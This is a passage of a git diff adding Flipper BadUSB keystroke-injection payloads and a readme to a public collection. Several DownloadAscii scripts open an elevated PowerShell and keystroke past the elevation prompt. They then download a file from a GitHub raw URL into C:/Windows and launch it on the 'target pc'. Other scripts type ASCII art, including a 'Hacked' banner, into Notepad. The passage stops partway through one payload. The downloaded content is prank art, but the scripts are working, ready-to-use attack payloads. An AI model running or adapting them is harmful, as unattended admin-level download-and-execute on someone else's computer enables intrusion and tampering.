-Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/pepeFROG.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/readme.md new file mode 100644 index 0000000..4b29c9d --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/readme.md @@ -0,0 +1,44 @@ + +# DownloadAscii + +These scripts will download an Ascii txt file and open it on the target pc. + + + + +## How to use? + +These scripts are easy to use. Just plug the Flipper in and run the scripts. Please notice that an internet connection is required. + + + + +## Features + +- Download .txt file +- open .txt file +- Fullscreen mode + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/riddle.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/riddle.txt new file mode 100644 index 0000000..0516a44 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/riddle.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/riddle.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/stormtrooper.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/stormtrooper.txt new file mode 100644 index 0000000..d2959ec --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/stormtrooper.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/stormtrooper.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface.txt new file mode 100644 index 0000000..f43a9f2 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface2.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface2.txt new file mode 100644 index 0000000..a24b4a6 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface2.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface2.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface3.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface3.txt new file mode 100644 index 0000000..2e43d42 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollface3.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollface3.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollfaceDANCE.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollfaceDANCE.txt new file mode 100644 index 0000000..9684603 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/DownLoadAscii/trollfaceDANCE.txt @@ -0,0 +1,18 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Downloads the Txt file and opens it. +REM Version: 1.0 +REM Category: DownloadAscii +DELAY 1000 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Invoke-WebRequest -Uri https://raw.githubusercontent.com/UNC0V3R3D/ressources/main/trollfaceDANCE.txt -OutFile C:/Windows/6565.txt; Start-Process -FilePath "C:/windows/6565.txt" -WindowStyle maximized +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/AnonymousASCII.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/AnonymousASCII.txt new file mode 100644 index 0000000..42c2472 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/AnonymousASCII.txt @@ -0,0 +1,130 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 1000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +GUI UPARROW +DELAY 500 +STRING :-=+**#%%@@@@@@@@@@%%#**+=-: +ENTER +STRING .-+*%@@@#*++=--::........::--=++*#@@@%*+-. +ENTER +STRING .-*#@@#*=-. .:=*#@@%+-. +ENTER +STRING -*@@%*-. .-*%@@*- +ENTER +STRING :=#@%+- -*%@#+. +ENTER +STRING .+%@#=. .=#@%+. +ENTER +STRING -#@%= .=%@#- +ENTER +STRING .+@@*: :*@@+. +ENTER +STRING .*@%= =%@*. +ENTER +STRING .*@%= -%@*. +ENTER +STRING +@@= .. =@@= +ENTER +STRING -%@+ .-=: ..::::::::.::.::::::::.. -+-. +@%- +ENTER +STRING *@%: -*@@*. .::....:.. .: :: :: ..:....::. .*@%*- :%@* +ENTER +STRING :%@+ . +@@@%: ..:. .:. :: :: :: .:. .:.. -@@@@+ . +@%. +ENTER +STRING -@@: .+#-:@@@@# .::. .:. .: :: :. .:. .::. *@@@%:-#+. -@@- +ENTER +STRING =@%. +@% :@@@@-.. .:..::.. .:. : :: .: .:. ..::..:. .:=@@@@:.%@+ .%@= +ENTER +STRING +@% #@@: @@%=.+# .:. .:::.. :. :: :: ..:::. .:. #+.=%@@ :@@# .%@+ +ENTER +STRING +@% : *@@@ **::+@%. .:. .: ....:::..-*++*%%*=.:::.... :. .:. %@*::*+ %@@* : %@= +ENTER +STRING -@%. ++.@@@= .=%@@# :. .: :: :@@+::-@@@+ :: :. .: .#@@%=. =@@@.++ %@- +ENTER +STRING :@@. #@:.@@%.*@@@#- .:. .: :. *#=:::@@@= .: :. .:. -#@@@*.%@@.:@* :@@: +ENTER +STRING %@= +@@:.@@+@@%=: .: .: .: :-%@#- :. :. :. .:=%@@*@@.:@@+ =@% +ENTER +STRING +@# @@@= @@@#- =# ::. :. :: :%=. :: .: .:: %= -#@@@ =@@@ #@= +ENTER +STRING @@: :@@@+ @%:.+@@: .: ...::... .: :. -= .: :. ...::... :. :@@+.:%@ *@@@: .@@ +ENTER +STRING +@* :@@@# =:#@@@- .: ...:::.... : == .: ....:::... :. -@@@*.= #@@@: *@+ +ENTER +STRING @@: : @@@# =@@@@: :. .: ......:::::::..%@@@..:::::::...... :. .: -@@@@= #@@@ . -@@ +ENTER +STRING :@% :+ *@@*+@@@#: .: :: .: -##- :. :: :. :*@@@+*@@+ +. @@: +ENTER +STRING +@* *# .@@*@@%- * :. :. .: :: :. .: .: * -@@@*@@ #* *@+ +ENTER +STRING #@= %@: -@%@# *% .: : :: :----: :: : :. @* *@%@- :@% =@# +ENTER +STRING @@- %@% *@* .%@+ .: .: :. -:-+@@@@@@+-:- :: :. :. *@#. *@# %@% -@% +ENTER +STRING @@: *@@# .# :@@@: ::.............:............:-*@@ -@@= @@*-:............:.............:. :@@@: %. #@@* :@% +ENTER +STRING @@: -@@@# .:@@@# ::.............:........:-=*%@@@# .%@@%. %@@@%*=-:........:.............:. #@@@:. #@@@- :@% +ENTER +STRING @@- %@@@+ %@@@. .: .: -*##%@@@@@@@@@@: - #* - :@@@@@@@@@@%##*: :. :. .@@@# +@@@% -@% +ENTER +STRING #@= .:@@@@.@@@= + .: ::@@@@@@@@@@@@@@@ .@@. @@@@@@@@@@@@@@@:: :. + =@@@.@@@@.: =@# +ENTER +STRING +@* # .%@@+@@% @- :. :+@@@@@@@@@@@@@@@ *@@# @@@@@@@@@@@@@@@+: .: =@ %@@+@@#. # *@+ +ENTER +STRING :@% %#. +@%%@= -@% .: :#@@@@@@@@@@@@@@@= @@@@ =@@@@@@@@@@@@@@@#: :. %@= =@%@@+ #% @@: +ENTER +STRING @@: +@@- .#@@. #@@: :. .@@@@@@@@@@@@@@@@@. @@@@ .@@@@@@@@@@@@@@@@@. .: .@@% .@@#. =@@= -@@ +ENTER +STRING +@* %@@#: =@..@@@= .: ..*@@@@@@@@@@@@@@@@@% @@@@ %@@@@@@@@@@@@@@@@@+.. :. =@@@..@= :%@@% #@+ +ENTER +STRING @@: .#@@@#:..-@@@+ : :: ..::... +@@@@@@@@@@@@@@@@@@%. @@@@..%@@@@@@@@@@@@@@@@@@+ ...::.. :. : +@@@-..:#@@@%. .@@ +ENTER +STRING +@# +@@@@#.:@@@* +* ::. %@@@@@@@@@@@@@@@@@@@@=@@@@+@@@@@@@@@@@@@@@@@@@@# .:: *+ *@@@:.#@@@@= #@= +ENTER +STRING %@= :%@@@@:*@@% .@%. .: :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. :. .%@. #@@#-@@@@%. =@% +ENTER +STRING :@@. = -#@@@*%@@. %@%. .:. -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@- .:. .%@% .@@%+@@@#- = :@@: +ENTER +STRING -@%. -%- =#@%@@+ +@@@. :. +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ .: .@@@+ +@@%@#- -%- .%@- +ENTER +STRING +@% =@%+. -#@@ .@@@% .:. %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% .:. %@@@..@@*- .=%@= %@= +ENTER +STRING +@% :%@@%+- -= *@@@+.=. .:.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.:. .=.+@@@* =- -+%@@%: .%@+ +ENTER +STRING =@%. -%@@@@%*=. #@@@:.@#- :@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: -#%.:@@@* .=*%@@@@%- .%@= +ENTER +STRING -@@- :*@@@@@@%=+@@@.:@@%=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=%@@..@@@+=%@@@@@@*: -@@- +ENTER +STRING :%@+ .-*%@@@@@#%@%..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@:.%@%#@@@@@%*-. +@%: +ENTER +STRING *@%: .+- :-=+*#%@@=.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#.=@@%#*+=-: -+. :%@+ +ENTER +STRING :%@+ =%%*=-::...::: .+%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+. :::...::-=*%%= +@%: +ENTER +STRING +@@= -*@@@@@@@@@@@@%##%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%##%@@@@@@@@@@@@*- =@@+ +ENTER +STRING .*@%= .-+#%@@@@@@@@%*+=:..%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%..:=+*%@@@@@@@@%#+-. =%@*. +ENTER +STRING .*@@= .-. .. .-+%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%+-. .. .-. =@@*. +ENTER +STRING .+@@*: .+%##****#%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%#****#%%+. :*@@+. +ENTER +STRING -#@%=. .=*#%@@@@@@%##@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@##%@@@@@@@#*=. .=%@#- +ENTER +STRING .+%@%=. -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@= .=#@%+. +ENTER +STRING :+%@%+- +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ -+%@%+: +ENTER +STRING .-*%@%*=: *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# :=*%@%*- +ENTER +STRING .-+#@@%*=%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=*%@@%+-. +ENTER +STRING .-+*%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%*+-. +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/Hacked.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/Hacked.txt new file mode 100644 index 0000000..1f13c07 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/Hacked.txt @@ -0,0 +1,116 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 1000 +GUI r +DELAY 500 +STRING notepad +ENTER +DELAY 1000 +GUI UPARROW +DELAY 500 +STRING #@@@@@@@/ +ENTER +STRING @@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@% +ENTER +STRING &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING (@@@@@@@@@@@@@@@@@@@@@@@@@. (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* .@@@@@@@@@@@@@@@@@@@@@@@@@& +ENTER +STRING (@@@@@@@@@@@@@@@@@@@@@@@@@, (@@@@@ #@@@, .@@@@@, ,@@@@@@@@@@@@@@@@@@@@@@@@@& +ENTER +STRING (@@@@@@ @@@@# @@@ &@@@@ %@@@@@& +ENTER +STRING (@@@@@@ @@@@. &@@@# *@@@@ %@@@@@& +ENTER +STRING (@@@@@@ (@@@@@* %@@@@@@@@@( /@@@@@, %@@@@@& +ENTER +STRING (@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ #@@@@ (@@@@@@ @@& ,@@@@@@* .@@@@/ %@@@@@& +ENTER +STRING (@@@@@@ @@@@@@/ (@@@@@@@@@@@@@@@@@@@* %@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ (@@@@@@@@@@% ,@@ @@@@@@.@@@@@,(@@ &@@@@@@@@@@, %@@@@@& +ENTER +STRING (@@@@@@ .@@@@@@@@@@@@@@& #@@@@@ @@@@@ .@@@@@@@@@@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ *@@@@@@@@@@, *@@@@@@@@@@* %@@@@@& +ENTER +STRING (@@@@@@ .&@@@@@@@@@( #@@@@@@@@@% %@@@@@& +ENTER +STRING (@@@@@@ %@@@@@@@@@@@@@@@@@( %@@@@@& +ENTER +STRING (@@@@@@ .@@@@@@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ /@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. %@@@@@& +ENTER +STRING (@@@@@@ @@@@@@@@@@@@ &@@@@@@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ &@@@@@@ . .@@@@@@% %@@@@@& +ENTER +STRING (@@@@@@ *@@@@& @@@@@. %@@@@@& +ENTER +STRING (@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@ %@@@@@& +ENTER +STRING (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& +ENTER +STRING (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& +ENTER +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@# +ENTER +STRING /@@@@@, *@@@@ .@@@@. @@@@ ,@@@@ .@@@@ ,@@@@ *@@@@ ,@@@@. /@@@@& +ENTER +STRING @@@@@@ .,@@@@, .@@@@@ ,@@@@* @@@@@ .@@@@& %@@@@ @@@@@.. @@@@@@ +ENTER +STRING &@@@@@% .@@@@% .@@@@% @@@@@ @@@@@ @@@@@ @@@@@* @@@@@ &@@@@@( +ENTER +STRING *@@@@@@. ,@@@@@ %@@@@( @@@@@ (@@@@@ @@@@@, ,@@@@@ &@@@@% .@@@@@ *@@@@@@ +ENTER +STRING @@@@@@@ @@@@@ @@@@@ @@@@@ @@@@@# @@@@@% #@@@@@ *@@@@@ .@@@@@ .@@@@@@& +ENTER +STRING (@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* +ENTER +STRING @@@@@@@, .@@@@@, @@@@@# @@@@@@ %@@@@@ /@@@@@@@ +ENTER +STRING %@@@@@@@ .@@@@@% .@@@@@( &@@@@@. @@@@@@ @@@@@@@/ +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +STRING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +ENTER +ENTER +STRING ##### # # # ##### # # ####### ###### +ENTER +STRING # # #### ##### ##### # # ##### # # ##### # # #### # # # # ## # # ###### ##### ###### ###### # # # # # # # # # # # # # +ENTER +STRING # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ## # # # # # # # # # # # +ENTER +STRING ##### # # # # # # # ##### # # # # # # # # ###### # # # # ##### ##### ##### ##### # # # ####### # # # ### ##### # # +ENTER +STRING # # # ##### ##### # ### # # # # # # # # # # # # ###### # # # # # # # # # # # # ####### # # # # # # +ENTER +STRING # # # # # # # # # ### # # # # # # # # # # # # # # # # # # # # # # ## # # # # # # # # # # # +ENTER +STRING ##### #### # # # # # # ##### #### # # #### #### # # # # ## ###### ##### ###### ###### # # # # # # ##### # # ####### ###### +ENTER +DELAY 2000 +CTRL HOME +DELAY 2000 +CTRL END \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/MonaLisa.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/MonaLisa.txt new file mode 100644 index 0000000..8421a8f --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/ASCII/Selfwriting/MonaLisa.txt @@ -0,0 +1,177 @@ +REM Author: cribb-it +REM Description: Opens Notepad and types out the ASCII art +REM Version: 1.0 +REM Category: ASCII +DELAY 2500 +GUI R +DELAY 200 +STRING notepad +ENTER +DELAY 300 +ALT SPACE +DELAY 20 +STRING x +ENTER +ENTER +ENTER +STRING XiiisiisrrsssiisssssiiiiiSiiiiiiiiiiiiSSSiiiiiiiissiiiiiiS55SSSSSSS5SSSiiiiisiiiiiiSSS +ENTER +STRING 2rrr;rrr;;rsrr;;;;;rrrrsrsrrrrrr;rrrrrrrrrr;;;;rrrrrrrrrrrrrrssrrr;rrrrrsrrrr;rrr;r;;r +ENTER +STRING 2sssrsisssssssrrriiiisi5iiSSSissssssiSiiiiisiiissssssrrsrrsiiiisssrsissiiisrsssssssiii +ENTER +STRING 5rrrrrrrrrrsrrssssrrsiiiiisisssssrrssssrsisrsssssssrrrrrr;rrrrrrsrrrrsrsrr;;rrrrrrrsii +ENTER +STRING 2;;rr;;;r;;;;;;;;rrrrrrssrrsrrsr;rrsrrr;;;;;;;rsrrssrrrr;;;;rrrrr;r;rrrr;;;;;rrrrrrsrs +ENTER +STRING 5rrrrrrrrr;;:;;;;;;;r;;rrrrrrrr;rrrrr;;;;;;::,::;;rrrrr;:;;;rrrr;;rrr;rrr;rrrrrrrrrrss +ENTER +STRING i;rr;rr;;;;;;;;;;;;:;;;;;;rr;;;rr;;;;;::,:;:::,,,:;;;;;;;;;;rrrrrrrrr;;rr;;rr;;rrrrrrr +ENTER +STRING s;r;::::;;:;;r;;;;;;;;;:;r;rrrr;;::,,;SGH#@@##HG2i;::;;;;;;;rrrrr;rrrr;rr;;r;:;;rrrrrr +ENTER +STRING i;;;;::;r;;;:;;;;;;;:::;;;;;;r;;:,;5#@@#@@@@@@@@@@@Mi:,;:;;rrr;rr;;;;;;r;;;;;:;;;rrrrr +ENTER +STRING i;;r;r;;;;:::;;:;::::;;;;;::;;:::s@@@@Ah@@@@@@@@@@@@@@r.:::;;;r;;;:;:::;;;;;;;;;;;;rrr +ENTER +STRING S;;::::::,:::::::::::::;;::::::.2@@#h2rih&H@@@@@@@@@@@@3..,::;;;;;;:;:;:::;::;;;r;;rr; +ENTER +STRING Sr;:.,,:,,:::;::::,,::;;;:::,,.i@Hr. .,;2HB#@@@@@@@@A.,:,:::;;::::::,:;:;;;;;;rrr; +ENTER +STRING i;;;:::,:,,,,:::::,:::::::,,,,S@&. :sXA##@@@@@@@A .,,::,,::::::::::::;;;;;rr; +ENTER +STRING r,:,,;:,,....,,,,,,,,:.,::,..r@@; ,r2GH#@#@@@@@@s ,:::,,:,,,:::,,,,::::;;;;; +ENTER +STRING r,:..,:;.... . .,,::,,:;:..rh@#;, ..,....,;;ri2hA##@#@@@@@:r;;:r;;:;:::::::,,:,:;;;:: +ENTER +STRING 2rr;;;S5:,...,:. ..,:,,:,,.;A@@X:,....... .,::::;iA###@@@@@92Si52r:r;;;::,,:::::::;r;: +ENTER +STRING 9iXAGs5X2r;;rsis:,. .... .S#@@S..,, . ,;;:,,::r2B@@@@@@@@AXH332iiir5s,,,,:::,,;;iSsr +ENTER +STRING BAABA2S2552925hXh95s.... .;&A#@Hi2GAi,,s@@Bh&HM#BAM@@@@@#@@MABhXS5X5s9is::,::. ,;;ss5S +ENTER +STRING #MG3hS22S2h&XhAAA2iH; .:.:rBBH@#@A@@@;,@@9;#@@@#SS##@@@@@@hAHBGX92A#35;.,,:,:;;rriSr +ENTER +STRING #GX5iiXSi3X2i&Hhh5X&;:2M&;;H##@;,,rXr..AX,.;sr, .rG@@#@@@#@@GHHA&3A&AAG9;.,,::;rrrsX5r +ENTER +STRING Mh332X252999GAG9HHA##A#G@HXh#@@: . .sr ,r2M@@@@@@@@@HA&A9X&&HBBB3;:;:;r;:;riii +ENTER +STRING AA#AGHAGhHG2GAh&B#M###MA@#HABM@3 ., .is,. .:S3A@@@@@#@@@@A25SsiSiS55XX5rrrrrrrissi5 +ENTER +STRING BM@#&ABM&Ah25X3GAHAAHMB#@@@#HM@#:..;r :29;.,:rShAM@@##@@@@@@#MMHGXX222SiisiiSXGh#MX2A& +ENTER +STRING #M##B9&H&GAAAGX2&9&GAHAM#@@###@@3r;.:X@@@;.;s29&AM##@@@@@@@@@@@@@@######MHB#B#HA#@@@@M +ENTER +STRING #####hG&&AH&HBhhAAAA&HHB#B#@@M@@AsSs,rHBhhG5siX3GB#@@@@@@#@@#MMMBBBB#####@@#H&GAA####B +ENTER +STRING #B#MA9hAAH&hhAABHHHBBHMMBHB#MA@@@r;;;;s9BAS;rs2hA##@@##@@@@@#BHAAHHHBMMBHH&X2XhAB####M +ENTER +STRING #M#BGHAHAAAHHBMBHBHHAAA&GGHHM#@@@@3: .;riiisS3AAHM#@##@@@@@@#AGHBHHHAHBHHHAHM##HH&&B#M +ENTER +STRING ##M###BH&&H#MBHHHAG&hGhGG9&A##M#@@@@; :s2hH#MBM#@###@@@@@@#BhAH&939AHHAAAHHH&hAAAM@M +ENTER +STRING ##MMMM@#&&AHHM#MMMAMHA&9X2A#BB#M#@@@@AS3AB@@###@@#@@#####@@@##HAAHGAABA&A&&&HBAABAAM#M +ENTER +STRING ###HB#M#B&&A&HHA&AXGX22isi9###@#@@@@@@@@@@@@@@@#MMMM####@@@@@@#B##BHHBMMMMM####MHAAAAM +ENTER +STRING ####@@H#@A&Ahh3222S5issi552H@@####@@@@@iS&M@#MA&hX3A#@#@@@#M@@HHHHA&GAHMMBM@#MMMBM@@BB +ENTER +STRING #M##B@##AAHX225522i5X5S2559h##M##@#@@@@i.;s2XXX2isS3B##@@@##@@MA&3iSX25XS2322iss2&BBAB +ENTER +STRING #BA&93X52X559GHAM#H3h9&3&&BM@#@#@#@@@@@h;::;rsrrr;riG#M##@BB@@@@@@###G2XGhi;;iiXh2A#@# +ENTER +STRING #H9X9X9223XS9ABMGG@@@#@@@@@@@@@@@@@@H2;;;::;;;::;;:;5B#BABBH@@@@@@@@@@@@@@G;r2hhXS&@@# +ENTER +STRING ##BG3H#AA9X&M#&GA&@@@@@@M@@@@###@#X;:. ..,,,...,:,:sGMMhGHM@@@@@#BAh5issisriAH&AhM@@# +ENTER +STRING #BB#M@@AhhAA&h52X#@@G@@#B@@@##@##; ... .,,:;2#HA2&H@@##@@@MAAX:.,;52h92GA&AGB# +ENTER +STRING #MABAHMX2&3GX2SGHM#MhB@BAM@####A5. .... .,,;;i&3BGA#@@#@##@@@@#XiSsiisi525rSGH# +ENTER +STRING #M&HX2BHrrrSSS3hHAAA3&AAB@@@#&33; .... 